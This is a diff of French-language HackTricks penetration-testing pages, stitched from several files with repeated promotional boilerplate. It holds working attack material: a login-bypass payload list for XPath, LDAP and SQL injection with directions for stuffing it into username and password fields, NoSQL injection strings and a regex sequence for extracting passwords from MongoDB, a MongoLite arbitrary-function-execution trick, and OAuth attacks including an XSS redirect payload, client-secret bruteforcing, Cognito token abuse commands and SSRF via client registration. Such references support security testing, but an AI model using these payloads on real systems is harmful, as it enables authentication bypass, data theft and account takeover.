* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Cette liste contient des **payloads pour contourner la connexion via XPath, LDAP et injection SQL** (dans cet ordre).
|
||||
|
||||
La manière d'utiliser cette liste est de mettre les **200 premières lignes comme nom d'utilisateur et mot de passe.** Ensuite, mettez la liste complète d'abord dans le nom d'utilisateur puis dans les champs de mot de passe tout en mettant un mot de passe (comme _Pass1234._) ou un nom d'utilisateur connu (comme _admin_).
|
||||
La façon d'utiliser cette liste est de mettre les **200 premières lignes en tant que nom d'utilisateur et mot de passe**. Ensuite, mettez la liste complète d'abord dans le champ nom d'utilisateur, puis dans les champs de mot de passe tout en mettant un mot de passe quelconque (comme _Pass1234._) ou un nom d'utilisateur connu (comme _admin_).
|
||||
```
|
||||
admin
|
||||
password
|
||||
|
@ -824,14 +824,14 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,8 +17,8 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -56,11 +56,11 @@ username[$exists]=true&password[$exists]=true
|
|||
|
||||
#### **Injection NoSQL**
|
||||
|
||||
Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités de sécurité pour contourner l'authentification et accéder aux données sensibles. Pour prévenir les injections NoSQL, il est recommandé d'utiliser des requêtes paramétrées et de valider et échapper correctement les entrées utilisateur.
|
||||
Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités d'injection NoSQL pour contourner l'authentification et accéder aux données sensibles stockées dans la base de données.
|
||||
```javascript
|
||||
query = { $where: `this.username == '${username}'` }
|
||||
```
|
||||
Un attaquant peut exploiter cela en entrant des chaînes comme `admin' || 'a'=='a`, faisant en sorte que la requête renvoie tous les documents en satisfaisant la condition avec une tautologie (`'a'=='a`). Cela est similaire aux attaques par injection SQL où des entrées comme `' or 1=1-- -` sont utilisées pour manipuler les requêtes SQL. Dans MongoDB, des injections similaires peuvent être effectuées en utilisant des entrées comme `' || 1==1//`, `' || 1==1%00`, ou `admin' || 'a'=='a`.
|
||||
Un attaquant peut exploiter cela en saisissant des chaînes comme `admin' || 'a'=='a`, faisant en sorte que la requête renvoie tous les documents en satisfaisant la condition avec une tautologie (`'a'=='a`). Cela est similaire aux attaques par injection SQL où des entrées comme `' or 1=1-- -` sont utilisées pour manipuler les requêtes SQL. Dans MongoDB, des injections similaires peuvent être effectuées en utilisant des entrées telles que `' || 1==1//`, `' || 1==1%00`, ou `admin' || 'a'=='a`.
|
||||
```
|
||||
Normal sql: ' or 1=1-- -
|
||||
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
|
||||
|
@ -90,10 +90,6 @@ in JSON
|
|||
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
||||
```
|
||||
### **SQL - Mongo**
|
||||
|
||||
#### **Injection NoSQL**
|
||||
|
||||
Les attaques par injection NoSQL sont similaires aux attaques par injection SQL, mais elles ciblent les bases de données NoSQL comme MongoDB. Les attaquants peuvent exploiter les vulnérabilités de sécurité pour contourner l'authentification et accéder aux données sensibles. Pour prévenir les injections NoSQL, il est recommandé d'utiliser des requêtes paramétrées et de valider et échapper correctement les entrées utilisateur.
|
||||
```
|
||||
/?search=admin' && this.password%00 --> Check if the field password exists
|
||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
||||
|
@ -105,7 +101,7 @@ Les attaques par injection NoSQL sont similaires aux attaques par injection SQL,
|
|||
...
|
||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
|
||||
```
|
||||
### Exécution arbitraire de fonctions PHP
|
||||
### Exécution de fonction arbitraire en PHP
|
||||
|
||||
En utilisant l'opérateur **$func** de la bibliothèque [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (utilisée par défaut), il pourrait être possible d'exécuter une fonction arbitraire comme dans [ce rapport](https://swarm.ptsecurity.com/rce-cockpit-cms/).
|
||||
```python
|
||||
|
@ -138,11 +134,11 @@ Il est possible d'utiliser [$lookup](https://www.mongodb.com/docs/manual/referen
|
|||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
Accédez dès aujourd'hui à :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Charges MongoDB
|
||||
## Charges utiles MongoDB
|
||||
|
||||
Liste [à partir d'ici](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
|
||||
```
|
||||
|
@ -273,7 +269,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,28 +9,28 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth propose différentes versions, avec des informations fondamentales accessibles sur la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le largement utilisé [type de subvention de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation qui permet à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation).
|
||||
OAuth propose différentes versions, avec des informations fondamentales accessibles sur la [documentation OAuth 2.0](https://oauth.net/2/). Cette discussion se concentre principalement sur le largement utilisé [type de subvention de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fournissant un **cadre d'autorisation permettant à une application d'accéder ou d'effectuer des actions sur le compte d'un utilisateur dans une autre application** (le serveur d'autorisation).
|
||||
|
||||
Considérons un site web hypothétique _**https://exemple.com**_, conçu pour **présenter tous vos messages sur les réseaux sociaux**, y compris les privés. Pour ce faire, OAuth 2.0 est utilisé. _https://exemple.com_ demandera votre autorisation pour **accéder à vos messages sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, détaillant les **autorisations demandées et le développeur faisant la demande**. Après votre autorisation, _https://exemple.com_ acquiert la capacité d'**accéder à vos messages en votre nom**.
|
||||
Considérons un site web hypothétique _**https://example.com**_, conçu pour **présenter tous vos messages sur les réseaux sociaux**, y compris les privés. Pour ce faire, OAuth 2.0 est utilisé. _https://example.com_ demandera votre autorisation pour **accéder à vos messages sur les réseaux sociaux**. Par conséquent, un écran de consentement apparaîtra sur _https://socialmedia.com_, détaillant les **autorisations demandées et le développeur faisant la demande**. Après votre autorisation, _https://example.com_ acquiert la capacité d'**accéder à vos messages en votre nom**.
|
||||
|
||||
Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
|
||||
|
||||
- **propriétaire de la ressource** : Vous, en tant qu'**utilisateur/entité**, autorisez l'accès à votre ressource, comme vos messages de compte sur les réseaux sociaux.
|
||||
- **serveur de ressources** : Le **serveur gérant les demandes authentifiées** après que l'application a obtenu un `jeton d'accès` au nom du `propriétaire de la ressource`, par exemple, **https://socialmedia.com**.
|
||||
- **application cliente** : L'**application demandant l'autorisation** du `propriétaire de la ressource`, comme **https://exemple.com**.
|
||||
- **application cliente** : L'**application demandant l'autorisation** du `propriétaire de la ressource`, comme **https://example.com**.
|
||||
- **serveur d'autorisation** : Le **serveur qui délivre des `jetons d'accès`** à l'`application cliente` après l'authentification réussie du `propriétaire de la ressource` et la sécurisation de l'autorisation, par exemple, **https://socialmedia.com**.
|
||||
- **client_id** : Un identifiant public et unique pour l'application.
|
||||
- **client_secret** : Une clé confidentielle, connue uniquement de l'application et du serveur d'autorisation, utilisée pour générer des `jetons d'accès`.
|
||||
- **response_type** : Une valeur spécifiant **le type de jeton demandé**, comme `code`.
|
||||
- **scope** : Le **niveau d'accès** demandé par l'`application cliente` au `propriétaire de la ressource`.
|
||||
- **redirect_uri** : L'**URL vers laquelle l'utilisateur est redirigé après autorisation**. Cela doit généralement correspondre à l'URL de redirection préenregistrée.
|
||||
- **redirect_uri** : L'**URL vers laquelle l'utilisateur est redirigé après autorisation**. Cela doit généralement correspondre à l'URL de redirection préalablement enregistrée.
|
||||
- **state** : Un paramètre pour **maintenir des données lors de la redirection de l'utilisateur vers et depuis le serveur d'autorisation**. Sa singularité est cruciale pour servir de **mécanisme de protection CSRF**.
|
||||
- **grant_type** : Un paramètre indiquant **le type de subvention et le type de jeton à renvoyer**.
|
||||
- **code** : Le code d'autorisation du `serveur d'autorisation`, utilisé conjointement avec `client_id` et `client_secret` par l'application cliente pour acquérir un `jeton d'accès`.
|
||||
|
@ -41,8 +41,8 @@ Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
|
|||
|
||||
Le **flux OAuth réel** se déroule comme suit :
|
||||
|
||||
1. Vous accédez à [https://exemple.com](https://exemple.com) et sélectionnez le bouton "Intégrer avec les réseaux sociaux".
|
||||
2. Le site envoie ensuite une demande à [https://socialmedia.com](https://socialmedia.com) demandant votre autorisation pour permettre à l'application de https://exemple.com d'accéder à vos messages. La demande est structurée comme suit :
|
||||
1. Vous accédez à [https://example.com](https://example.com) et sélectionnez le bouton "Intégrer avec les réseaux sociaux".
|
||||
2. Le site envoie ensuite une demande à [https://socialmedia.com](https://socialmedia.com) vous demandant l'autorisation de permettre à l'application de https://example.com d'accéder à vos messages. La demande est structurée comme suit :
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
|
@ -63,7 +63,7 @@ POST /oauth/access_token
|
|||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. Enfin, le processus se termine lorsque https://example.com utilise votre `access_token` pour effectuer un appel API vers les réseaux sociaux afin d'accéder
|
||||
6. Enfin, le processus se termine lorsque https://example.com utilise votre `access_token` pour effectuer un appel API vers les médias sociaux afin d'accéder
|
||||
|
||||
## Vulnérabilités <a href="#323a" id="323a"></a>
|
||||
|
||||
|
@ -79,13 +79,13 @@ Pour ceux ciblant un serveur OpenID, le point de découverte (`**.well-known/ope
|
|||
|
||||
### XSS dans l'implémentation de redirection <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Comme mentionné dans ce rapport de prime au bug [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), il est possible que l'**URL de redirection soit reflétée dans la réponse** du serveur après l'authentification de l'utilisateur, étant **vulnérable aux XSS**. Charge utile possible à tester:
|
||||
Comme mentionné dans ce rapport de prime au bogue [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), il est possible que l'**URL de redirection soit reflétée dans la réponse** du serveur après l'authentification de l'utilisateur, étant **vulnérable aux XSS**. Charge utile possible à tester:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - Gestion incorrecte du paramètre d'état <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **paramètre `state`** peut augmenter considérablement le risque d'attaques de **falsification de requête intersite (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` n'est **pas utilisé, utilisé comme une valeur statique, ou pas correctement validé**, permettant aux attaquants de contourner les protections CSRF.
|
||||
Dans les implémentations OAuth, l'utilisation incorrecte ou l'omission du **paramètre `state`** peut augmenter considérablement le risque d'attaques de **falsification de requête intersite (CSRF)**. Cette vulnérabilité survient lorsque le paramètre `state` n'est **pas utilisé, utilisé comme une valeur statique, ou non correctement validé**, permettant aux attaquants de contourner les protections CSRF.
|
||||
|
||||
Les attaquants peuvent exploiter cela en interceptant le processus d'autorisation pour lier leur compte à celui d'une victime, entraînant des **prises de contrôle de compte potentielles**. Cela est particulièrement critique dans les applications où OAuth est utilisé à des fins d'**authentification**.
|
||||
|
||||
|
@ -103,7 +103,7 @@ La gestion et la validation appropriées du **paramètre `state`** sont cruciale
|
|||
|
||||
Identifier et protéger les paramètres secrets OAuth est crucial. Alors que le **`client_id`** peut être divulgué en toute sécurité, révéler le **`client_secret`** pose des risques importants. Si le `client_secret` est compromis, les attaquants peuvent exploiter l'identité et la confiance de l'application pour **voler les `access_tokens`** des utilisateurs et des informations privées.
|
||||
|
||||
Une vulnérabilité courante survient lorsque les applications gèrent incorrectement l'échange du `code` d'autorisation pour un `access_token` côté client plutôt que côté serveur. Cette erreur expose le `client_secret`, permettant aux attaquants de générer des `access_tokens` sous l'apparence de l'application. De plus, via l'ingénierie sociale, les attaquants pourraient augmenter les privilèges en ajoutant des étendues supplémentaires à l'autorisation OAuth, exploitant davantage le statut de confiance de l'application.
|
||||
Une vulnérabilité courante survient lorsque les applications gèrent incorrectement l'échange du `code` d'autorisation pour un `access_token` côté client plutôt que côté serveur. Cette erreur conduit à l'exposition du `client_secret`, permettant aux attaquants de générer des `access_tokens` sous l'apparence de l'application. De plus, via l'ingénierie sociale, les attaquants pourraient augmenter les privilèges en ajoutant des étendues supplémentaires à l'autorisation OAuth, exploitant davantage le statut de confiance de l'application.
|
||||
|
||||
### Bruteforce du secret client
|
||||
|
||||
|
@ -120,7 +120,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
|||
```
|
||||
### En-tête Referer divulguant Code + State
|
||||
|
||||
Une fois que le client a le **code et l'état**, s'ils sont **reflétés dans l'en-tête Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable.
|
||||
Une fois que le client a le **code et l'état**, s'il est **reflété dans l'en-tête Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable.
|
||||
|
||||
### Jeton d'accès stocké dans l'historique du navigateur
|
||||
|
||||
|
@ -140,7 +140,7 @@ Si vous pouvez obtenir le **code d'autorisation et l'utiliser avec un client dif
|
|||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Dans ce rapport de prime de bug : [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/), vous pouvez voir que le **jeton** que **AWS Cognito** renvoie à l'utilisateur pourrait avoir **des autorisations suffisantes pour écraser les données utilisateur**. Par conséquent, si vous pouvez **changer l'e-mail de l'utilisateur pour un e-mail d'utilisateur différent**, vous pourriez être en mesure de **prendre le contrôle** d'autres comptes.
|
||||
Dans ce rapport de prime de bug : [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/), vous pouvez voir que le **jeton** que **AWS Cognito** renvoie à l'utilisateur pourrait avoir **suffisamment de permissions pour écraser les données utilisateur**. Par conséquent, si vous pouvez **changer l'e-mail de l'utilisateur pour un e-mail d'utilisateur différent**, vous pourriez être en mesure de **prendre le contrôle** d'autres comptes.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
|
@ -168,12 +168,12 @@ Comme [**mentionné dans cet article**](https://salt.security/blog/oh-auth-abusi
|
|||
Cela est dû au fait qu'un **attaquant** pourrait créer une **application prenant en charge OAuth et se connecter avec Facebook** (par exemple) dans sa propre application. Ensuite, une fois qu'une victime se connecte avec Facebook dans l'**application de l'attaquant**, l'attaquant pourrait obtenir le **jeton OAuth de l'utilisateur donné à son application, et l'utiliser pour se connecter à l'application OAuth de la victime en utilisant le jeton de l'utilisateur de la victime**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Par conséquent, si l'attaquant parvient à amener l'utilisateur à accéder à sa propre application OAuth, il pourra prendre le contrôle du compte de la victime dans les applications qui attendent un jeton et ne vérifient pas si le jeton a été accordé à leur ID d'application.
|
||||
Par conséquent, si l'attaquant parvient à obtenir l'accès de l'utilisateur à sa propre application OAuth, il pourra prendre le contrôle du compte de la victime dans les applications qui attendent un jeton et ne vérifient pas si le jeton a été accordé à leur ID d'application.
|
||||
{% endhint %}
|
||||
|
||||
### Deux liens et cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire en sorte qu'une victime ouvre une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Ces informations seraient **stockées dans un cookie (RU)** et à **une étape ultérieure**, le **prompt** demandera à l'utilisateur s'il souhaite donner accès à cet hôte de l'attaquant.
|
||||
Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), il était possible de faire en sorte qu'une victime ouvre une page avec un **returnUrl** pointant vers l'hôte de l'attaquant. Ces informations seraient **stockées dans un cookie (RU)** et à **une étape ultérieure**, le **prompt** demandera à l'utilisateur s'il souhaite donner accès à cet hôte d'attaquant.
|
||||
|
||||
Pour contourner ce prompt, il était possible d'ouvrir un onglet pour initier le **flux OAuth** qui définirait ce cookie RU en utilisant le **returnUrl**, de fermer l'onglet avant l'affichage du prompt, et d'ouvrir un nouvel onglet sans cette valeur. Ensuite, le **prompt ne mentionnera pas l'hôte de l'attaquant**, mais le cookie sera défini sur celui-ci, de sorte que le **jeton sera envoyé à l'hôte de l'attaquant** dans la redirection.
|
||||
|
||||
|
@ -186,12 +186,12 @@ L'enregistrement dynamique du client dans OAuth sert de vecteur moins évident m
|
|||
**Points clés :**
|
||||
|
||||
- L'enregistrement dynamique du client est souvent associé à `/register` et accepte des détails tels que `client_name`, `client_secret`, `redirect_uris`, et des URLs pour des logos ou des ensembles de clés JSON Web (JWKs) via des requêtes POST.
|
||||
- Cette fonctionnalité respecte les spécifications énoncées dans **RFC7591** et **OpenID Connect Registration 1.0**, qui incluent des paramètres potentiellement vulnérables au SSRF.
|
||||
- Le processus d'enregistrement peut exposer involontairement les serveurs au SSRF de plusieurs manières :
|
||||
- **`logo_uri`** : Une URL pour le logo de l'application cliente qui pourrait être récupérée par le serveur, déclenchant un SSRF ou conduisant à une XSS si l'URL est mal gérée.
|
||||
- Cette fonctionnalité respecte les spécifications énoncées dans **RFC7591** et **OpenID Connect Registration 1.0**, qui incluent des paramètres potentiellement vulnérables aux SSRF.
|
||||
- Le processus d'enregistrement peut exposer involontairement les serveurs aux SSRF de plusieurs manières :
|
||||
- **`logo_uri`** : Une URL pour le logo de l'application cliente qui pourrait être récupéré par le serveur, déclenchant un SSRF ou conduisant à une XSS si l'URL est mal gérée.
|
||||
- **`jwks_uri`** : Une URL vers le document JWK du client, qui s'il est malveillamment conçu, peut amener le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par l'attaquant.
|
||||
- **`sector_identifier_uri`** : Référence un tableau JSON de `redirect_uris`, que le serveur pourrait récupérer, créant une opportunité de SSRF.
|
||||
- **`request_uris`** : Liste des URI de requête autorisés pour le client, qui peuvent être exploités si le serveur récupère ces URIs au début du processus d'autorisation.
|
||||
- **`sector_identifier_uri`** : Fait référence à un tableau JSON de `redirect_uris`, que le serveur pourrait récupérer, créant une opportunité de SSRF.
|
||||
- **`request_uris`** : Liste les URI de requête autorisés pour le client, qui peuvent être exploités si le serveur récupère ces URIs au début du processus d'autorisation.
|
||||
|
||||
**Stratégie d'exploitation :**
|
||||
|
||||
|
@ -216,7 +216,7 @@ D'autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
